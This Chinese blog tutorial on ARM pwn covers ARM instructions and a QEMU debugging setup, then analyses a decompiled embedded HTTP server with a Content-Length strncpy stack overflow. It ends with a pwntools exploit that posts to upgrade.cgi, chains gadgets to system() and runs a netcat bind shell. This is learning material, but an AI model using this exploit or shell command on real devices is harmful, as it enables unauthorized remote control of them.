本文首發於“合天智匯”公眾號 作者:s0xzOrln
宣告:筆者初衷用於分享與普及網路知識,若讀者因此作出任何危害網路安全行為後果自負,與合天智匯及原作者無關!
剛剛開始學習ARM pwn,下面如有錯誤,希望各位大佬多多包han,多多包涵。
先介紹下 Arm的一些常見指令
那就先來
Arm 三運算元指令
LDRB R0, [R1, #-1] # 把R1-1的地址的值給R0 立即數前面加個 `#`
看看函式開始時
PUSH {R4,R5,R7,LR} STMFD SP!, {R4-R11,LR} 這兩條指令都常見在函式的開始 都是 壓入棧中
Arm指令中的 - 感覺蠻簡潔的,可以省略很多步驟和指令。
{R0-R4} 就是指 R0 R1 R2 R3 R4 暫存器
Arm LDR 指令
ldr指令的格式: LDR R0, [R1] LDR R0, =NAME LDR R0, =0X123 對於第一種沒有等號的情況,R1暫存器對應地址的資料被取出放入R0 對於第二種有等號的情況,R0暫存器的值將為NAME標號對應的地址。 對於第三種有等號的情況,R0暫存器的值將為立即數的值
LDM 和 STM是多資料傳送指令,用來裝載和儲存多個字的資料從/到記憶體。比如:
STMFD SP!, {R4-R11,LR} 的虛擬碼如下 SP = SP - 9×4; address = SP; for i = 4 to 11 Memory[address] = Ri; address = address + 4; Memory[address] = LR; 總的來說就是 把{R4-R11}壓到棧中,然後再把LR壓到棧中 指令格式是: xxM{條件}{型別} Rn{!}, <暫存器列表>{^} ‘xx’是 LD 表示裝載,或 ST 表示儲存。 再加 4 種‘型別’就變成了 8 個指令: 棧 其他 LDMED LDMIB 預先增加裝載 LDMFD LDMIA 過後增加裝載 LDMEA LDMDB 預先減少裝載 LDMFA LDMDA 過後減少裝載 STMFA STMIB 預先增加儲存 STMEA STMIA 過後增加儲存 STMFD STMDB 預先減少儲存 STMED STMDA 過後減少儲存
暫存器命名:
在常見的程式中 前面的命名一般都是以R*,一些比較特殊的暫存器,就命令,比如 LR SP 在IDA裡面都是顯示APCS。
STR(儲存) 和 LDR(裝載) 是來儲存 和 裝載單一位元組或字的資料從/到記憶體 LDR{條件} Rd, <地址> STR{條件} Rd, <地址> 在STR 、LDR、 MOV後面加上EQ 代表的是 32位 ldr = Load Word ldrh = Load unsigned Half Word ldrsh = Load signed Half Word ldrb = Load unsigned Byte ldrsb = Load signed Bytes str = Store Word strh = Store unsigned Half Word strsh = Store signed Half Word strb = Store unsigned Byte strsb = Store signed Byte
Arm 跳轉
B address #就像是jmp BL #後面加分支 # 相當於call BL strncpy BEQ #不等於 想到於 jne BCC #進位清除,應該就是 cmp後,進位為0就跳 感覺就像是 < BGT # 大於 BLT #小於 BCS #進位設定,應該就是cmp後,有進位 感覺就像是 >= BLX #實現跳轉的同時切換ARM的狀態ARM->Thunb或者Thunb->ARM BX #可以跳轉到ARM指令或者Thumb指令
Arm 程式狀態暫存器處理指令
MRS:用於將程式狀態暫存器的內容送到通用暫存器
MSR:將運算元的內容送到程式狀態暫存器的特定域
Arm 比較指令
CMP 這個跟 x86的差不多,不改變暫存器的值,更新CPSR標誌暫存器
TST 感覺跟test 有點像 都是不影響目的暫存器的值,改變狀態暫存器
Arm 標誌位
做題,瞭解這些指令就差不多了
環境搭建
可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (後面這個。我安裝了還是不太會用。逃····
第一種
這種我沒具體的除錯過,之前就用了一次,感覺沒第二種舒服
sudo apt-get install git gdb gdb-multiarch apt search "libc6-" | grep "arm" sudo apt-get install -y gcc-arm-linux-gnueabi qemu-arm -g port -L /usr/arm-linux-gnueabi ./pwn 這是執行程式,-L是依賴庫 然後用gdb-multiarch targe remote 上去
第二種
首先先下載 arm-debian的qemu映象
#這些都是在本機進行操作 sudo tunctl -t tap0 -u `whoami` #這邊新建一張網路卡和虛擬機器進行通訊 sudo ifconfig tap0 192.168.2.1/24 #給網路卡配置ip #這個配置要在一個段上面,這個是為了後面方便傳檔案進qemu虛擬機器裡面 #然後 qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic #啟動虛擬機器映象 #如果下載的是armel 就上面的,gdbserver也要用對應的armel #如果下載的是armhf 就對應改下幾個就可以 #具體引數 可以 sudo qemu-system-arm -h 檢視 #然後最後把simpleHTTPServer起來就OK #在想傳檔案的目錄執行 python -m SimpleHTTPServer#預設起8000埠,反正這埠一般也沒用,懶得改預設了 #然後進入虛擬機器 #密碼賬號都是root #進去之後 如果是韌體的話一般都是能把整個環境弄到,那就用chroot起,這樣方便,chroot起的, #要把proc和dev掛載到chroot起了之後的根目錄 sudo mount -o bind /dev ./squashfs-root/dev sudo mount -t proc /proc ./squashfs-root/proc #然後也配置網路卡地址 ifconfig eth0 192.168.2.2/24 #然後用 wget http://x.x.x.x:8000/filename #把檔案給拷進來,除錯程式,gdbserver都是需要拷進來 #gdbserver 下載連結 #https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt #chroot chroot . sh #用gdbsever起環境 #gdb-multiarch attach上去就能除錯了
其他:
qemu-arm-static 可以執行靜態編譯的可執行程式 sudo apt install qemu-user-static 這個可以用來除錯靜態編譯的檔案
例項除錯分析
就只開了 nx
漏洞所在的函式
int __fastcall sub_17F80(char *a1) { char *v1; // r4 char *v2; // r0 int v3; // r3 char *v4; // r5 unsigned int v5; // r9 unsigned __int8 *v6; // r8 char *v7; // r3 int v8; // r6 int v9; // t1 int v10; // r10 int v11; // r2 int v12; // r2 unsigned __int8 *v13; // r0 bool v14; // zf int v15; // r2 int v16; // t1 bool v17; // zf char *v18; // ST14_4 int v19; // r0 int v20; // r2 int v21; // r1 ssize_t v22; // r5 int v23; // r2 char *v24; // r0 const char *v25; // r6 char *v26; // r0 int result; // r0 int v28; // r6 FILE *v29; // r0 int v30; // r6 FILE *v31; // r0 const char *v32; // r1 int v33; // r2 int v34; // r3 char *v35; // r7 char *v36; // r6 char *v37; // r0 int v38; // r7 int v39; // r0 int v40; // r2 unsigned int v41; // r3 char *haystack; // [sp+Ch] [bp-44h] char dest[4]; // [sp+18h] [bp-38h] int v44; // [sp+1Ch] [bp-34h] int v45; // [sp+20h] [bp-30h] int v46; // [sp+24h] [bp-2Ch] v1 = a1; haystack = a1 + 13690; v2 = strncpy(a1 + 21882, a1 + 13690, 0x1FFFu); v3 = *((_DWORD *)v1 + 1629); v4 = &v1[*((_DWORD *)v1 + 18) + 13690]; v5 = (unsigned int)&haystack[v3]; if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 ) { haystack[v3] = 0; sub_16534(v2); fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", 57, v4); } v6 = (unsigned __int8 *)(v4 - 1); v7 = v4; if ( (unsigned int)v4 >= v5 ) { LABEL_26: if ( *(_DWORD *)v1 > 3u ) return 1; v21 = *((_DWORD *)v1 + 1629); if ( (unsigned int)(0x1FFF - v21) >= 0x2000 ) { sub_1627C(v1); fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr); result = 0; *((_DWORD *)v1 + 4) = 400; *(_DWORD *)v1 = 12; return result; } v22 = read(*((_DWORD *)v1 + 1112), &haystack[v21], 0x2000 - v21); if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == 0 ) { v23 = (unsigned __int8)v1[13690]; *(_DWORD *)dest = 0; v44 = 0; v45 = 0; v46 = 0; if ( v23 ) { v35 = strstr(haystack, "Content-Length"); v36 = strchr(v35, '\n'); v37 = strchr(v35, ':'); strncpy(dest, v37 + 1, v36 - (v37 + 1)); // 這裡複製有bug } v24 = strstr(haystack, "\r\n\r\n"); if ( v24 && (v25 = v24 + 4, (signed int)(v24 + 4) <= (signed int)&haystack[*((_DWORD *)v1 + 1629) - 1 + v22]) ) { v26 = strstr(haystack, "upgrade.cgi"); if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != 0 ) { *((_DWORD *)v1 + 7623) = -1; goto LABEL_36; } v30 = (int)(v1 + 28672); ++*((_DWORD *)v1 + 7623); v31 = (FILE *)stderr; v32 = "req->iCount++(2)= %d\n"; } else { v30 = (int)(v1 + 28672); v31 = (FILE *)stderr; v32 = "req->iCount++= %d\n"; ++*((_DWORD *)v1 + 7623); } fprintf(v31, v32); v33 = *(_DWORD *)(v30 + 1820); v26 = (char *)(1717986919 * v33); *(_DWORD *)(v30 + 1820) = v33 % 20; } LABEL_36: if ( v22 < 0 ) { v34 = *_errno_location(); if ( v34 != 4 ) { if ( v34 == 11 ) return -1; sub_1627C(v1); perror("header read"); *((_DWORD *)v1 + 4) = 400; return 0; } } else { if ( !v22 ) { if ( *((_DWORD *)v1 + 1628) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + 15) || *((_DWORD *)v1 + 1629) ) { sub_1627C(v1); fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr); } *((_DWORD *)v1 + 4) = 400; return 0; } v14 = (dword_34864 & 0x10) == 0; *((_DWORD *)v1 + 1629) += v22; if ( !v14 ) { sub_16534(v26); v29 = (FILE *)stderr; v1[*((_DWORD *)v1 + 1629) + 13690] = 0; fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", 356, v22, ""); } } return 1; } while ( 2 ) { if ( *((_DWORD *)v1 + 7623) > 0 ) goto LABEL_26; v9 = (unsigned __int8)*v4++; v8 = v9; v10 = v9 - 13; if ( v9 != 13 ) v10 = 1; if ( v8 == 161 ) v11 = v10 & 1; else v11 = 0; if ( v11 ) { v12 = *v6; v13 = v6; v14 = v12 == 0; if ( *v6 ) v14 = v12 == 10; if ( !v14 ) { do { v16 = *(v13-- - 1); v15 = v16; v17 = v16 == 0; if ( v16 ) v17 = v15 == 10; } while ( !v17 ); } v18 = v7; v19 = strncmp((const char *)v13 + 1, "User-Agent:", 0xBu); v7 = v18; if ( v19 ) { sub_1627C(v1); fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", 161); sub_1BC48(v1); return 0; } } v20 = *(_DWORD *)v1; switch ( *(_DWORD *)v1 ) { case 0: if ( v8 == 13 ) { *((_DWORD *)v1 + 17) = v7; *(_DWORD *)v1 = 1; goto LABEL_24; } if ( v8 != 10 ) goto LABEL_24; *((_DWORD *)v1 + 17) = v7; *(_DWORD *)v1 = 2; goto LABEL_52; case 1: if ( v8 != 10 ) goto LABEL_22; *(_DWORD *)v1 = 2; LABEL_52: ++*((_DWORD *)v1 + 18); goto LABEL_53; case 2: if ( v8 == 13 ) { *(_DWORD *)v1 = 3; goto LABEL_24; } if ( v8 != 10 ) { LABEL_23: *(_DWORD *)v1 = 0; LABEL_24: ++*((_DWORD *)v1 + 18); LABEL_25: ++v6; v7 = v4; if ( (unsigned int)v4 >= v5 ) goto LABEL_26; continue; } LABEL_45: ++*((_DWORD *)v1 + 18); *(_DWORD *)v1 = 4; LABEL_46: v28 = sub_1A4F4(v1); if ( !v28 ) return 0; if ( (unsigned int)(*((_DWORD *)v1 + 3) - 3) > 1 ) return v28; v38 = *((_DWORD *)v1 + 42); *((_DWORD *)v1 + 17) = &v1[*((_DWORD *)v1 + 1629) + 13690]; *((_DWORD *)v1 + 16) = v4; *(_DWORD *)v1 = 5; if ( !v38 ) { sub_1627C(v1); fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr); sub_1BC48(v1); return 0; } v39 = sub_216EC(v38); if ( v39 < 0 ) { sub_1627C(v1); fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + 42)); sub_1BC48(v1); return 0; } v40 = *((_DWORD *)v1 + 16); v41 = *((_DWORD *)v1 + 17) - v40; *((_DWORD *)v1 + 11) = v39; *((_DWORD *)v1 + 12) = 0; if ( v39 >= v41 ) return v28; *((_DWORD *)v1 + 17) = v40 + v39; return v28; case 3: if ( v8 == 10 ) goto LABEL_45; LABEL_22: if ( v10 ) goto LABEL_23; goto LABEL_24; default: ++*((_DWORD *)v1 + 18); if ( v20 == 2 ) { LABEL_53: **((_BYTE **)v1 + 17) = 0; if ( *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16) > 3071 ) { sub_1627C(v1); fprintf( (FILE *)stderr, "Header too long at %lu bytes: \"%s\"\n", *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16)); sub_1BC48(v1); return 0; } if ( *((_DWORD *)v1 + 15) ) { if ( !sub_1A878(v1) ) return 0; } else { if ( !sub_19FF0(v1) ) return 0; if ( *((_DWORD *)v1 + 2) == 1 ) return sub_1A4F4(v1); } *((_DWORD *)v1 + 16) = v4; } else if ( v20 == 4 ) { goto LABEL_46; } goto LABEL_25; } } }
上面看到 strcpy存在bug,就是長度時按照輸入來計算的,這時只要控制好,就能實現棧溢位。
先看看前面的的指令有沒分析正確
能看出那些暫存器是用來做引數的 r0 r1 r2 ,然後依次往後
r3 是棧頂指標,lr是儲存著返回地址,pc就是當前指令的下一條,cpsr 程式狀態暫存器
看看程式開頭和結尾
開頭
結尾
R4-R11,LR都是放進棧裡,如果發生了棧溢位,那豈不是能基本控制大多數的引數了,前面4個沒有控制,我估摸著是用來做 傳參用的。
這道題還是把aslr關了。
看到上圖就清楚,此時的棧已經被控制了,執行為箭頭所指向的,那r4-r11,LR都給控制了。
關了aslr就是直接執行system了,但是得控制引數,這個就直接用ROPgadgets就OK了
直接控制R0就ok
exp:
from pwn import * context.log_level ='debug' p = remote("192.168.2.2",80) system_addr = 0x76f74ab0 order_commad = "nc -lp 4444 -e /bin/sh;pwd;pwd;" pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:" payload = "a"*52+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*8+p32(system_addr) payload = pre+payload+order_commad+"\n\r\n\r\n" p.sendline(payload) p.interactive()
參考連結:
相關實驗:
ARM漏洞利用技術一--編寫arm shellcode
(通過該實驗瞭解arm環境下編寫shellcode的基本過程,以execve()為例,詳細介紹了相關步驟,包括系統呼叫、系統呼叫後、函式引數、去除空字元、轉換進位制等。)